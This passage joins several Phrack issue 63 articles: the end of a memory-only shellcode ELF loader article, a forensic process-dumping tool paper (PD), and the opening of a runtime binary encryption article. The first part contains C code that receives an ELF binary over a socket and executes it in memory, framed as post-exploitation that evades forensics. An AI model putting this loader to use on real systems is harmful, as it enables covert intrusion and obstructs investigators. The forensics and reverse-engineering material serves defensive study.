overwritten during the loading process.
b) store it in the process stack. Provided there is enough space and we know
where the stack starts and finishes, this method can be used but it can
also be that the stack isn't be executable and then it can't be applied.
c) store it in a new mapped memory region by using mmap() syscall.
This is the better way and the one we have used in our code.
Due to the nature of a jumper its codification can be personalized and
adapted to many different contexts. An example of a generic jumper written
in C is as it follows:
lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE,
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[1]));
addr.sin_addr.s_addr = 0;
sfd = socket(AF_INET, SOCK_STREAM, 0));
bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
listen(sfd, 10);
nsfd = accept(sfd, NULL, NULL));
for (i = 0 ; i < 255 ; i++) {
if (recv(i, tmp, 4, MSG_PEEK) == 4) {
if (!strncmp(&tmp[1], "ELF", 3)) break;
}
}
recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL);
loader = (unsigned long *)&lxobject[9];
*loader += (unsigned long)lxobject;
__asm__(
"push %0\n"
"jmp *%1"
:
: "c"(lxobject),"b"(*loader)
);
---[ 5 - Multiexecution
The code included in this article is just a generic implementation of a
shellcode ELF loader which allows the execution of a binary once at time.
If we want to execute that binary an undefined number of times (to parse more
arguments, test new features, etc) it will be needed to build and send a new
lxobject for each try. Although it obviously has some disadvantages, it's
enough for most situations. But what happens if what we really wish is to
execute our binary a lot of times but from the other side, that is, from
the remote machine, without building the lxobject?
To face this issue we have developed another technique called "multi-execution".
The multi-execution is a much more advanced derived implementation. Its main
feature is that the process of building a lxobject is always done in the
remote machine, one binary allowing infinite executions. Something like
working with a remote shell. One example of tool that uses a multi-execution
environment is the gits project or "ghost in the system".
--[ 5.1 - Gits
Gits is a multi-execution environment designed to operate on attacked remote
machines and to limit the amount of forensic evidence. It should be viewed as
a proof of concept, an advanced extension with many features. It comprises a
launcher program and a shell, which is the main part. The shell gives you the
possibility of retrieving as many binaries as desired and execute them as
many times as wished (a process of stack context rebuilding and binary
patching is done using some advanced techniques). Also, built-in commands, job
control, flow redirection, remote file manipulation, and so on have been
added.
---[ 6 - Conclusions
The forensic techniques are more sophisticated and complete every day, where
there was no trace left, now there's a fingerprint; where there was only one
evidence left, now there are hundreds. A never-ending battle between those who
wouldn't be detected and those who want to detect. To use the memory and
leave the disk untouched is a good policy to avoid the detection. The
shellcode ELF loader develops this post-exploitation plainly and elegantly.
---[ 7 - Greetings
7a69ezine crew & redbull.
---[ 8 - References
[1] The Design and Implementation of ul_exec - the grugq
http://securityfocus.com/archive/1/348638/2003-12-29/2004-01-04/0
[2] Remote Exec - the grugq
http://www.phrack.org/show.php?p=62&a=8
[3] Ghost In The System Project
http://www.7a69ezine.org/project/gits
---[ A - Tested systems
The next table summarize the systems where we have tested all this fucking
shit.
/----------v----------\
| x86 | amd64 |
/------------+----------+----------<
| Linux 2.4 | works | works |
>------------+----------+----------<
| Linux 2.6 | works | works |
>------------+----------+----------<
| FreeBSD | works | untested |
>------------+----------+----------<
| NetBSD | works | untested |
\------------^----------^----------/
---[ B - Sourcecode
begin 644 self.tgz
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`
end
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0c of 0x14
|=--------------=[ Advances in remote-exec AntiForensics ]=--------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by ilo-- ]=-------------------------------=|
|=-----------------------------------------------------------------------=|
1.0 - Abstract
2.0 - Introduction
3.0 - Principles
4.0 - Background
5.0 - Requirements
6.0 - Design and Implementation
6.1- Get information of a process
6.2- Get binary data of that process from memory
6.3- Order/Clean and safe binary data in a file
6.4- Build an ELF header for that file to be loaded
6.5- Adjust binary information
6.6- Resume of process in steps.
6.7- pd, the program
7.0 - Defeating pd, or defeating process dumping
8.0 - Conclusion
9.0 - Greets
10.0 - References
11.0 - SourceCode
--[ 1.0 - Abstract
PD is a proof of concept tool being released to help rebuilding
or recovering a binary file from a running process, even if the file never
existed in the disk. Computer Forensics, reverse engineering, intruders,
administrators, software protection, all share the same piece of the puzzle
in a computer. Even if the intentions are quite different, get or hide the
real (clean) code, everything revolves around it: binary code files
(executable) and running process.
Manipulation of a running application using code injection, hiding
using ciphers or binary packers are some of the current ways to hide the
code being executed from inspectors, as executed code is different than
stored in disk. The last days a new anti forensics method published in
phrack 62 (Volume 0x0b, Issue 0x3e, phile 0x08 by grugq) showed an
"user landexec module". ulexec allows the execution of a binary sent by the
network from another host without writing the file to disk, hiding any
clue to forensics analysts. The main intention of this article is to
show a process to success in the recovering or rebuilding a binary file
from a running process, and PD is a sample implementation for that process.
Tests includes injected code, burneyed file and the most exotic of
all, rebuilding a file executed using grugq's "userland remote exec" that
was never saved in disk.
--[ 2.0 - Introduction
An executable contains the data the system needs to run the application
contained in the file. Some of the data stored in the file is just
information the system should consider before launching, and requirements
needed by the application binary code. Running an executable is a kernel
process that grabs that information from the file, sets up the needings for
that program and launches it.
However, although a binary file contains the data needed to launch a
process and the program itself, there's no reason to trust that program has
not been modified during execution. One common task to avoid host IDS
detecting binary manipulation is to modify a running process instead of
binary stored files. A process may be running some kind of troyan injected
code until system restart, when original program will be executed again.
In selfmodifing, ciphered or compressed applications, program code in disk
may differ from program code in memory due to 'by design' functionality of
the file. It's a common task to avoid reverse engineering and scope goes
from virus to commercial software. Once the program is ran, it deciphers
itself remaining clean in memory content of the process until the end of
execution. However, any attempt to see the program contained in the file
will require a great effort due to complexity of the implemented cipher or
obfuscation mechanism.
In other hand, there's no reason to keep the binary file once the process
is started (for example a troyan installer). Many forensics methods rely
their investigation in disk MAC (modify, create, access) timeline analysis
after powering down the system, and that's the main reason when grugq
talked about user land remote exec: there's no need to write data in disk
if you can forge the system to run a memory portion emulating a kernel
loader. This kind of data contraception may drop any attempt to create an
activity timeline due to the missing information: the files an intruder may
install in the system. Without traces, any further investigation would
not reveal attacker information. That's the description of the "remote exec
attack", defeated later in this paper.
All those scenarios presented are real, and in all of them memory system of
the suspicious process should be analyzed, however there's no mechanism
allowing this operation. There are several tools to dump the memory
content, but, in a "human unreadable - system unreadable" raw
format. Analysis tools may need an executable formatted file, and also
human analyst may need a binary file being launched in a testing
environment (aka laboratory). Raw code, or dumped memory code is useful
if execution environment is known, but sometimes untraceable. Here is
where pd (as concept) may help in the analysis process, rebuilding a
working executable file from the process, allowing researchers to launch
when and where they need, and capable of being analyzed at any time in any
system.
Rebuilding a binary file from a memory process allow us to recover a file
modified in run time or deciphered, and also recover if it's being executed
but never was saved in the system (as the remote executed using ulexec),
preventing from data contraception and information missing in further
analysis.
This paper will describe the process of rebuilding an executable from a
process in memory, showing each involved data in every step. One of the
main goals of the article is to realize where the recovering process is
vulnerable to manipulation. Knowing our limits is our best effort to
develop a better process.
There are several posts in internet related to code injection and
obfuscation. For userland remote execution trick refer to phrack 62
(Volume 0x0b, Issue 0x3e, phile 0x08 by grugq)
--[ 3.0 - Principles
Until this year the most hiding method used for code (malicious or
not) hiding was the packing/cyphering one. During execution time, the
original code/file should be rebuilt in disk, in memory, or where
the unpacker/uncypher should need. The disk file still remains ciphered
hiding it's content.
To avoid disk data written and Host IDS detection, several ways are being
used until now. Injecting binary code right in a running process is one of
them. In a forensics analysis some checks to the original file signature
(or MD5, or whatever) my fail, warning about binary content
manipulation. If this code only resides in memory, the disk scan will never
show its presence.
"Userland Remote Exec" is a new kind of attack, as a way to execute files
downloaded from a remote host without write them to disk. The main idea
goes through an implementation of a kernel loader, and a remote file
transfer core. When "ul_remote_exec" program receives a binary file it sets
up as much information and estructures as needed to fork or replace the
existing code with the downloaded one, and give control to this new
process. It safes new program memory pages, setting up execution
environment, and loading code and data into the correct sections, the same
way the system kernel does. The main difference is that system loads a file
from disk, and UserLand Remote Exec (down)"loads" a file from the network,
ensuring no data is written in the disk.
With all these methods we have a running process with different binary data
than saved in the disk (if existing there). Different scenarios that could
be resolved with one technique: an interface allowing us to dump a process
and rebuild a binary file that when executed will recreate this same
process.
--[ 4.0 - Background
Under Windows architecture there're a lot of useful tools providing
this functionality in user space. "procdump" is the name of a generic
process dumper for this operating system, although there're many more
tools including application specific un-packers and dumpers.
Under linux (*nix for x86 systems, the scope of this paper) several studies
attempt to help analyzing the memory (ie: Zalewski's memfetch) of a
process. Kernel/system memory may give other useful information about any
of the process being executed (Wietse's memfetch). Also, gdb now includes
dumping feature, allowing the dump of memory blocks to disk.
There's an interesting tool comparing a process and a binary file
(www.hick.org's elfcmp). Although I discovered later in the study, it
didn't work for me. Anyway, it's an interesting topic in this article.
Recover a binary from a core dump is an easy task due to the implementation
of the core functionality. Silvio Cesare stated that in a complete paper
(see references).
There's also a kernel module for recover a burneyed binary from memory once
it's deciphered, but in any case it cares about binary analysis. It just
dumps a memory region where burneye engine writes dechypered data before
executing.
All these approximations will not finish the process of recovering a binary
file, but they will give valuable information and ideas about how the
process should/would/could be.
The program included here is an example of defeating all these
anti-forensics methods, attaching to a pid, analyzing it's memory and
rebuilding a binary image allowing us to recover the process data and code,
and also re-execute it in a testing environment. It summarizes all the
above functionality in an attempt to create a rebuilding working
interface.
--[ 5.0 - Requirements
In an initial approach I fall into a lot of presumptions due to
the technology involved in the testing environment. Linux and x86 32bits
intel architecture was the selected platform with kernel 2.4*. There was
a lot of analysis performed in that platform assuming some of the kernel
constants and specifications removed or modified later. Also, GCC was
the selected compiler for the binaries tested, so instead of a generic
ELF format, the gcc elf implementation has been the referral most of the
time.
After some investigation it was realized that all these presumptions should
be removed from the code for compatibility in other test systems. Also, GCC
was left apart in some cases, analyzing files programmed in asm.
The /proc filesystem was first removed from analysis, returning bak after
some further investigation. /proc filesystem is a useful resource for
information gathering about a process from user space (indeed, it's the
user space kernel interface for process information queries).
The concept of process dumping (sample code also) is very system dependant,
as kernel and customs loaders may leave memory in different states,
so there's no a generic program ready-to-use that could rebuild any kind
of executable with total guaranties of use. A program may evolve in run
time loading some code from a inspected source, or delete the used code
while being executed.
Also, it's very important to realize that even if a binary format is
standardized, every file is built under compiler implementation, so the
information included in it may help or difficult the restoring process.
In this paper there are several user interfaces to access the memory of a
process, but the cheapest one has been selected: ptrace. From now on,
ptrace should be a requirement in the implementation of PD, as no other
method to read process memory space has been included in the POC.
In order to reproduce the tests, a linux kernel 2.4 without any security
patch (like grsecurity, pax, or other ptrace and stack protection) is
recommended, as well as gcc compiled binaries. Ptrace should be enabled and
/proc filesystem would be useful. grugq remote exec and burneyed had been
successfully compiled in this environment, so all the toolset for the test
will be working.
Files dynamically linked to system libraries become system dependant if the
dynamic information is not restored to it's original state. PD is
programmed to restore the dynamic subsystem (plt) of any gcc compiled
binary, so gcc+ldd dynamic linked files would be restored to work in other
host correctly.
--[ 6.0 - Design and Implementation
Some common tasks had been identified to success in the dump of a
process in a generic way. The design should heavily rely in system
dependant interfaces for each one, so an exhaustive analysis should be
performed in them:
1- Get information of a process
2- Get binary data of that process from memory
3- Order/clean and safe binary data in a file
4- Build an ELF header for the file to be correctly loaded
5- Adjust binary information
Also, there's a previous step to resolve before doing any of the previous
tasks, it's, to get communication with that process. We need an interface
to read all this information from the system memory space and process it.
In this platform there are some of them available as shown below:
- (per process) own process memory
- /proc file system
- raw access to /dev/kmem /dev/mem
- ptrace (from user space)
Raw memory access turns hard the process of information locating, as run
time information may be paged or swapped, and some memory may be shared
between processes, so for the POC it's has been removed as an option.
Per Process method, even if it may appear to be too exotic, should be
considered as an option. The use of this method consists in exploitation of
the execution of the process selected for dump, as for buffer overflow,
library modifications before loading and any other sophisticated way to
execute our code into process context. Anyway for the scope of the
analysis it's been deprecated also.
/proc and PTRACE are the available options for the POC. Each one has it's
own limits based in implementation of the system. As a POC, PD will use
/proc when available, and ptrace if there's no more options. Consider the
use of the other methods when ptrace is not available in the system.
By default ptrace will not attach any process if it's already being
attached by another. Each process may be only attached by one parent. This
limit is assumed as a requirement for PD to work.
----[ 6.1- Get information of a process
To know all the information needed to rebuild an executable it's
important to know the way a process is being executed by the system.
As a short description, the system will create an entry in the process
list, copy all data needed for the process and for the system to success
executing the binary and launches it. Not all the data in the file is
needed during execution, some parts are only used by the loader to correct
map the memory and perform environment setup.
Getting information about a process involves all data finding that could
be useful when rebuilding the executable file, or finding memory location
of the process, it's:
- Dynamic linker auxiliary vector array
- ELF signatures in memory
- Program Headers in memory
- task_struct and related information about the process
(memory usage, memory permissions, ...)
- In raw access and pre process: permission checks of memory maps (rwx)
- Execution subsystems (as runtime linking, ABI register,
pre-execution conditions, ..)
Apart from the loading information (not removed from memory by default), A
process has three main memory sections: code, where binary resides; data,
where internal program data is being written and read; and stack, as a
temporal memory pool for process execution internal memory requests. Code
and Data segments are read from the file in the loading part by the kernel,
and stack is built by the loader to ensure correct execution.
----[ 6.2- Get binary data of that process from memory
Once we have located that information, we need to get it from the
memory.
For this task we will use the interface selected earlier: /proc or
ptrace. The main information we should not forget is:
- Code and Data portions (maps) of the memory process.
- If exists (has not been deleted) the elf and/or program headers.
- Dynamic linking system (if it's being) used by the program.
- Also, "state" of the process: stack and registers*
Stack and registers (state) are useful when you plan to launch the same
process in another moment, or in another computer but recovering the
execution point: Froze the program and re-run in other computer could be a
real scenario for this example. One of the funniest results found using pd
to froze processes was the possibility to save a game and restore the saved
"state" as a way to add the "save game" feature to the XSoldier game.
Something interesting is also another information the process is currently
handling: file descriptors, signals, and so. With the signals, file
descriptors, memory, stack and registers we could "froze" a running
application and restore it's execution in other host, or in other
moment. Due to the design of the process creation, it's possible to
recreate in great part the state of the process even if it's interacting
with regular files. In a more technical detail, the re-create process
will inherit all the attributes of the parent, including file descriptors.
It's our task if we would like to restore a "frozen state" dumped
process to read the position of the descriptors and restore them for the
"frozen process".
Please notice that any other interaction using sockets or pipes for
example, require an state analysis of the communicated messages so their
value, or streamed content may be lost. If you dump a program in the
middle of a TCP connection, TCP session will not be established again,
neither the sent data and acknowledge messages received from the remote
system, so it's not possible to re-run a process from a "frozen state" in
all cases.
----[ 6.3- Order/Clean and safe binary data in a file
Order/Clean and safe task is the simplest one. Get all the
available information and remove the useless, sort the useful, and save in
a secure storage. It has been separated from the whole process due to
limitations in the recovering conditions. If the reconstructed binary could
be stored in the filesystem then simply keep the information saved in a
file, but, it's interesting in some cases to send the gathered information
to another host for processing, not writing to disk, and not modifying the
filesystem for other type of analysis. This will avoid data
contraception in a compromised system if that's the purpose of pd
execution.
----[ 6.4- Build an ELF header for that file to be loaded
If finally we don't find it in memory, the best way is to rebuild it.
Using the ELF documentation would be easy enough to setup a basic header
with the information gathered. It's also necessary to create a program
headers table if we could not find it in memory.
Even if the ELF header is found in memory, a manipulation of the structure
is needed as we could miss a lot of information not kept in memory, or not
necessary for the rebuild process: For example, all the information about
file sections, debug information or any kind of informational data.
----[ 6.5- Adjust binary information
At this point, all the information has been gathered, and the basic
skeleton of the executable should be ready to use. But before finishing the
reconstruction process some final steps could be performed.
As some binary data is copied from memory and glued into a binary, some
offset and header information (as number of memory maps and ELF related
information) need to be adjusted.
Also, if it's using some system feature (let's say, runtime linking) some
of the gathered information may be referred to this host linking system,
and need to be rebuilt in order to work in another environments.
As the result of reconstruction we have two great caveats to resolve:
- Elf header
- Dynamic linking system
The elf header is only used in the load time, so we need to setup a
compatible header to load correctly all the information we have got.
The dynamic system relies in host library scheme, so we need to regenerate
a new layout or restore the previous one to a generic usable dynamic
system, it's: GOT recovering. PD resolves this issue in an elegant and
easy way explained later.
----[ 6.6 - Resume of process in steps
Now let's resume with more granularity the steps performed until now,
and what could be do with all the gathered information. As a generic
approach let's resume a "process saving" procedure:
- Froze the process (avoid any malicious reaction of the program..).
- Stop current execution and attach to it (or inject code.. or..).
- Save "state": registers, stack and all information from the system.
- Recover file descriptors state and all system data used by the process.
- Copy process "base": files needed (opened file descriptors, libraries,
... ).
- Copy data from memory: copy code segments, data segments, stack,
libraries..
With all this information we can now do two things:
- Rebuild the single executable: reconstruct a binary file that could
be launched in any host (with the same architecture, of course), or
executable only in the same host, but allowing complete execution
from the start of the code.
- Prepare a package allowing to re-execute the process in another host,
or in any other moment, that's, a "frozen" application that will resume
it's state once launched. This will allow us to save a suspicious
process and relaunch in other host preserving it's state.
If it's our intention to recover the state in other moment, even if its
recovery is not totally guaranteed (internal system workflow may avoid
its correct execution) the loading process will be:
- Set all files used by the application in the correct location
- Open the files used by the program and move handlers to the same
position (file handlers will be inherited by child process)
- Create a new process.
- Set "base" (code and data) in the correct segments of memory.
- set stack and registers.
- launch execution.
But for the purpose of this paper, the final stage is to rebuild a binary
file, a single executable presumed to be reconstructed from the image of
the process being executed in the memory. These are the final steps we
could see later, labeled as pd implementation:
- Create an ELF header in a file: if it could not be found.
- Attach "base" to the file (code and data memory copies)
- Readjust GOT (dynamic linking).
----[ 6.7 - pd (process dumper) Proof of concept.
At the time of writing this paper, a simple process dumper is included
for testing purposes. Although it contains basic working code, it's
recommended to download the latest version of the program from the
http://www.reversing.org web site. The version included here is a very
basic stripped version developed two years ago. This PD is just a POC for
testing the process described in this article supporting dynamically linked
binaries. This is the description of the different tasks it will perform:
- Ptrace attach to a pid: to access memory (mainly read memory) process.
- Information gathering: Everytime a program is executed, the system
will create an special struct in the memory for the dynamic linker to
success bind functions of that process. That struct, the "Auxiliar
Vector" holds some elf related information of the original file, as an
offset to the program headers location in memory, number of program
headers and so (there is some doc about this special struct in the
included source package).
With the program headers information recovered, a loop for memory maps
being saved to a file is started. Program header holds the loaded
program segments. We'll care in the LOAD flag of the mapped memory
segment in order to save it. Memory segments not marked as LOAD are not
loaded from that file for execution. This version of PD does not use
/proc filesystem at any time.
If the program can't find the information, some of the arguments from
command line may help to finish the process. For example, with "-p addr"
it's possible to force the address of the program headers in memory.
This value for gcc+ldd built binaries is 0x8048034. This argument may
be used when the program outputs the message "search failed" when trying
to locate PAGESZ. If PAGESZ is not in the stack it indicates that the
"auxiliar vector array" could not be located, so program headers offset
would neither be found (often when the file is not launched from the
shell or is loaded by other program instead of the kernel).
- File dumping: If the information is located the data is dumped to a
file, including the elf header if it's found in memory (rarely it's
deleted by any application). This version of pd will NOT create any
header for the file (it's done in the lastest version).
This dump should work for the local host, as dynamic information is not
being rebuilt. There's a simple method to recover this information with
files built with gcc+ldd as shown below.
- GOT rebuilding
The runtime linker should had modified some of the GOT entries if the
functions had been called during execution. The way pd rebuilds the GOT
is based in GCC compiling method. Any binary file is very compiler
dependant (not only system), and a fast analysis about how GCC+LDD build
the GOT of the compiled binary, shows the way to reconstruct it called
"Aggressive GOT reconstruction". Another compilers/linkers may need more
in depth study. A txt is included in the source about Aggressive GOT
reconstruction.
The option -l tagged as "local execution only" in the command line will
avoid GOT reconstruction.
In this version of PD, PLT/GOT reconstruction is only functional with
GCC compiled binaries. To make that reconstruction, the .plt section
should be located (done by the program usually). If the location is not
found by the PD, the argument -g addr in the command line may help. Even
if it has been tested against several files, this so simple implementation
may fail with files using hard dynamic linking in the system.
Once again I remember this is a test code. For better results please
download latest version of PD.
-- Aggressive reconstruction of GOT --
GCC in the process of compiling a source code makes a table for the
relocation entries to link with ldd. This table grows as source file is
being analyzed. Each relocatable object is then pushed in a table for
internal manipulation. Each table entry has a size of 0x10 bytes, each
entry is located 0x10 bytes from the last, so there are 16 bytes between
each object. Take a look at this output of readelf.
Relocation section '.rel.plt' at offset 0x308 contains 8 entries:
Offset Info Type Sym.Value Sym. Name
080496b8 00000107 R_386_JUMP_SLOT 08048380 getchar
080496bc 00000207 R_386_JUMP_SLOT 08048390 __register_frame_info
080496c0 00000307 R_386_JUMP_SLOT 080483a0 __deregister_frame_inf
080496c4 00000407 R_386_JUMP_SLOT 080483b0 __libc_start_main
080496c8 00000507 R_386_JUMP_SLOT 080483c0 printf
080496cc 00000607 R_386_JUMP_SLOT 080483d0 fclose
080496d0 00000707 R_386_JUMP_SLOT 080483e0 strtoul
080496d4 00000807 R_386_JUMP_SLOT 080483f0 fopen
^
^
As shown below, each of the entries from the table is just 0x10 bytes
below than the next in memory . When one of this objects is linked in
runtime, it's value will show a library space memory address out of the
original segment. Rebuilding this table is done locating at least an
unresolved value from this list (it's symbol value must be inside it's
program section memory space). Original address could then be obtained
from It's position.
The next step is to perform a replace in all entries marked as
R_386_JUMP_SLOT with the calculated address for each modified entry.
Note: Other compilers may act very different, so the first step is to
fingerprint the compiler before doing any un-relocation task.
Some options are manipulable in command line to pd. See readme for more
information. Also, some demos are included in the src package, and a
simple todo with help to launch each them: simple process dump, packed
dump (upx or burneye), injected code dump and grugq's ulexec dump.
Here is, for your information a simple dump of a netcat process connected
to a host:
---------------------------------------------------------------------------
[ilo@reversing src]$ ps aux |grep localhost
ilopez 5114 0.0 0.2 1568 564 pts/2 S+ 02:25 0:00 nc localhost 80
[ilo@reversing src]$ ./pd -vo nc.dumped 5114
pd V1.0 POF <ilo@reversing.org>
source distribution for testing purposes..
[v]Attached.
performing search..
only PAGESZ method implemented in this version
[v]dump: 0xbffff000 to 0xc0000000: 0x1000 bytes
AT_PAGESZ located at: 0xbffffb24
[v]Now checking for boundaries..
[v]Hitting top at: 0xbffffb94
[v]Hitting bottom at: 0xbffffb1c
[v]AT_PHDR: 0x8048034 AT_PHNUM: 0x7
[v]dump: 0x8048034 to 0x8048114: 0xe0 bytes
[v]program header( 0-7 ) table info..
[v]TYPE Offset VirtAddr PhysAddr FileSiz MemSiz FLG Align
[v]PHDR 0x00000034 0x08048034 0x08048034 0x000e0 0x000e0 0x005 0x4
[v]INTE 0x00000114 0x08048114 0x08048114 0x00013 0x00013 0x004 0x1
[v]LOAD 0x00000000 0x08048000 0x08048000 0x03f10 0x03f10 0x005 0x1000
[v]LOAD 0x00004000 0x0804c000 0x0804c000 0x005d8 0x005d8 0x006 0x1000
[v]DYNA 0x00004014 0x0804c014 0x0804c014 0x000c8 0x000c8 0x006 0x4
[v]NOTE 0x00000128 0x08048128 0x08048128 0x00020 0x00020 0x004 0x4
..
gather process information and rebuild:
-loadable program segments, elf header and minimal size..
[v]dump: 0x8048000 to 0x804bf10: 0x3f10 bytes
[v]realloc to 0x3f10 bytes
[v]dump: 0x804c000 to 0x804c5d8: 0x5d8 bytes
[v]realloc to 0x45d8 bytes
[v]max file size 0x45d8 bytes
[v]dumped .text section
[v]dumped .data section
[v]segment section based completed
analyzing dynamic segment..
[v]HASH
[v]STRTAB
[v]SYMTAB
[v]symtable located at: 0x80482d8 , offset: 0x2d8
[v]st_name 0x208 st_value 0x0 st_size 0x167
[v]st_info 0x12 st_other 0x0 st_shndx 0x0
[v]STRSZ
[v]SYMENT
Agressive fixing Global Object Table..
vaddr: 0x804c0e0 daddr: 0x8048000 foffset: 0x40e0
* plt unresolved!!!
section headers rebuild
this distribution does not rebuild section headers
saving file: nc.dumped
[v]saved: 0x45d8 bytes
Finished.
[v]Dettached.
---------------------------------------------------------------------------
In this example the program netcat with pid 5114 is dumped to the file
nc.dumped. The reconstructed binary is only part of the original file as
show in these lists:
---------------------------------------------------------------------------
[ilo@reversing src]$ ls -la nc.dumped
-rwxr-xr-x 1 ilo ilo 17880 Jul 10 02:26 nc.dumped
[ilo@reserving src]$ ls -la `whereis nc`
ls: nc:: No such file or directory
-rwxr-xr-x 1 root root 20632 Sep 21 2004 /usr/bin/nc
---------------------------------------------------------------------------
This version of pd does all the tasks of rebuilding a binary file from a
process. The pd concept was re-developed to a more useful tool performing
two steps. The first should help recovering all the information from a
process in a single package. With all this information a second stage allow
to rebuild the executable in more relaxed environment, as other host or
another moment. The option to save and restore state of a process has been
added thus allowing to re-lauch an application in other host in the same
state as it was when the information was gathered. Go to reversing.org web
site to get the last version of the program.
--[ 7.0 - Defeating PD, or defeating process dumping.
The process presented in this article suffers from lots of
presumptions: tested with gcc compiled binaries, under specified system
models, its workflow simply depends on several system conditions and
information that could be forged by the program. However following the
method would be easy to defeat further antidump research.
In each recovering process task, some of the information is presumed, and
other is obtained but never evaluated before. Although the process may be
reviewed for error and consistency checking a generic flow will not work
against an specific developed program. For example, it's very easy to
remove all data information from memory to avoid pd reading all the
needings in the rebuild process. Elf header could be deleted in runtime, or
modified, as the auxiliar vector in the stack, or the program headers.
There are other methods to get the binary information: asking the kernel
about a process or accessing in raw format to memory locating known
structures and so, but not only it's a very hard approach, the system may
be forged by an intruder. Never forget that..
Current issues known in PD are:
- If the program is being ptraced, this condition will prevent pd
attaching process to work, so program ends here (for now).
Solution: enable a kernel process to dump binary information even if
ptrace is disabled.
- If a forged ELF header is found in the system, probably it will be used
instead of the real one.
Solution: manually inspect ELF header or program headers found in the
system before accepting them.
- If no information about program headers or elf is found, and if /proc is
not available in that user space, and aux_vt is not found the program will
not work, and..
Solution: perform a better approach in pd.c. PD is just a POC code to
show the process of rebuild a binary file. In a real
- Some kernel patches remove memory contents and modify binary file prior
to execution: Unspected behavior.
Anyway, PD will not work well with programs where the data segment has
variables modified in runtime, as execution of the recovered program
depends in the state of these variables. There's no history about memory
modified by a process, so return to a previous state of the data segment is
impossible, again, for now.
--[ 8.0 - Conclusion
"Reversing" term reveals a funny feature: every time a new technique
appears, another one defeat it, in both sides. As in the virus scene, a
new patch will follow to a new development. Everytime a new forensics
method is released, a new anti-forensics one appears. There's a crack
for almost every protected application, and a new version of that program
will protect from that crack.
In this paper, some of the methods hiding code (even if it's not
malicious) were defeated with simply reversing how a process is built.
Further investigation may leave this method inefficient due to load design
of the kernel in the studied system. In fact, once a method is known, it's
easy to defeat, and the one presented in this article is not an exception
--[ 9.0 - Greets & contact
Metalslug, Uri, Laura, Mammon (still more ptrace stuff.. you know ;)),
Mayhem, Silvio, Zalewski, grugq, !dSR and 514-77, "ncn" and "fist" staff.
Ripe deserves special thanks for help in demo codes, and pushing me to
improve the recovering process.
Contact: ilo[at]reversing.org http://www.reversing.org
--[ 10 - References
- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
http://www.phrack.org/phrack/59/p59-0x06.txt
- grugq 2004 - The Design and Implementation of ul_exec
http://www.hcunix.net/papers/grugq_ul_exec.txt
- 7a69 - Ghost In The System Project
http://www.7a69ezine.org/gits
- Silvio - Elf executable reconstruction from a core image
http://www.uebi.net/silvio/core-reconstruction.txt
- Mayhem - Some shoots related to linux reversing.
http://www.devhell.org/
- ilo-- - Process dumping for binary reconstruction: pd
http://www.reversing.org/
--[ 11 - Source Code
This is not the last version of PD. For further information about
this project please refer to http://www.reversing.org
begin 664 pd-1.0.tar.gz
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`
end
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
Volume 0x0b, Issue 0x3f, Phile #0x0d of 0x14
|=------=[ cryptexec: Next-generation runtime binary encryption ]=-------=|
|=------=[ using on-demand function extraction ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ Zeljko Vrba <zvrba@globalnet.hr> ]=-----------------=|
|=-----------------------------------------------------------------------=|
ABSTRACT
Please excuse my awkward English, it is not my native language.
What is binary encryption and why encrypt at all? For the answer to
this question the reader is referred to the Phrack#58 [1] and article
therein titled "Runtime binary encryption". This article describes a
method to control the target program that doesn't does not rely on
any assistance from the OS kernel or processor hardware. The method
is implemented in x86-32 GNU AS (AT&T syntax). Once the controlling
method is devised, it is relatively trivial to include on-the-fly
code decryption.
1 Introduction
2 OS- and hardware-assisted tracing
3 Userland tracing
3.1 Provided API
3.2 High-level description
3.3 Actual usage example
3.4 XDE bug
3.5 Limitations
3.6 Porting considerations
4 Further ideas
5 Related work
5.1 ELFsh
5.2 Shiva
5.3 Burneye
5.4 Conclusion
6 References
7 Credits
A Appendix: source code
A.1 crypt_exec.S
A.2 cryptfile.c
A.3 test2.c
Note: Footnotes are marked by # and followed by the number. They are
listed at the end of each section.
--[ 1.0 - Introduction
First let me introduce some terminology used in this article so that
the reader is not confused.
o The attributes "target", "child" and "traced" are used interchangeably
(depending on the context) to refer to the program being under the
control of another program.
o The attributes "controlling" and "tracing" are used interchangeably to
refer to the program that controls the target (debugger, strace, etc.)
--[ 2.0 - OS- and hardware-assisted tracing
Current debuggers (both under Windows and UNIX) use x86 hardware
features for debugging. The two most commonly used features are the trace
flag (TF) and INT3 instruction, which has a convenient 1-byte encoding of
0xCC.
TF resides in bit 8 of the EFLAGS register and when set to 1 the pro-
cessor generates exception 1 (debug exception) after each instruction
is executed. When INT3 is executed, the processor generates exception 3
(breakpoint).
The traditional way to trace a program under UNIX is the ptrace(2)
syscall. The program doing the trace usually does the following
(shown in pseudocode):
fork()
child: ptrace(PT_TRACE_ME)
execve("the program to trace")
parent: controls the traced program with other ptrace() calls
Another way is to do ptrace(PT_ATTACH) on an already existing process.
Other operations that ptrace() interface offers are reading/writing target
instruction/data memory, reading/writing registers or continuing the
execution (continually or up to the next system call - this capability is
used by the well-known strace(1) program).
Each time the traced program receives a signal, the controlling program's
ptrace() function returns. When the TF is turned on, the traced program
receives a SIGTRAP after each instruction. The TF is usually not turned
on by the traced program#1, but from the ptrace(PT_STEP).
Unlike TF, the controlling program places 0xCC opcode at strategic#2
places in the code. The first byte of the instruction is replaced with
0xCC and the controlling program stores both the address and the original
opcode. When execution comes to that address, SIGTRAP is delivered and
the controlling program regains control. Then it replaces (again using
ptrace()) 0xCC with original opcode and single-steps the original
instruction. After that the original opcode is usually again replaced
with 0xCC.
Although powerful, ptrace() has several disadvantages:
1. The traced program can be ptrace()d only by one controlling program.
2. The controlling and traced program live in separate address spaces,
which makes changing traced memory awkward.
3. ptrace() is a system call: it is slow if used for full-blown tracing
of larger chunks of code.
I won't go deeper in the mechanics of ptrace(), there are available
tutorials [2] and the man page is pretty self-explanatory.
__
#1 Although nothing prevents it to do so - it is in the user-modifiable
portion of EFLAGS.
#2 Usually the person doing the debugging decides what is strategic.
--[ 3.0 - Userland tracing
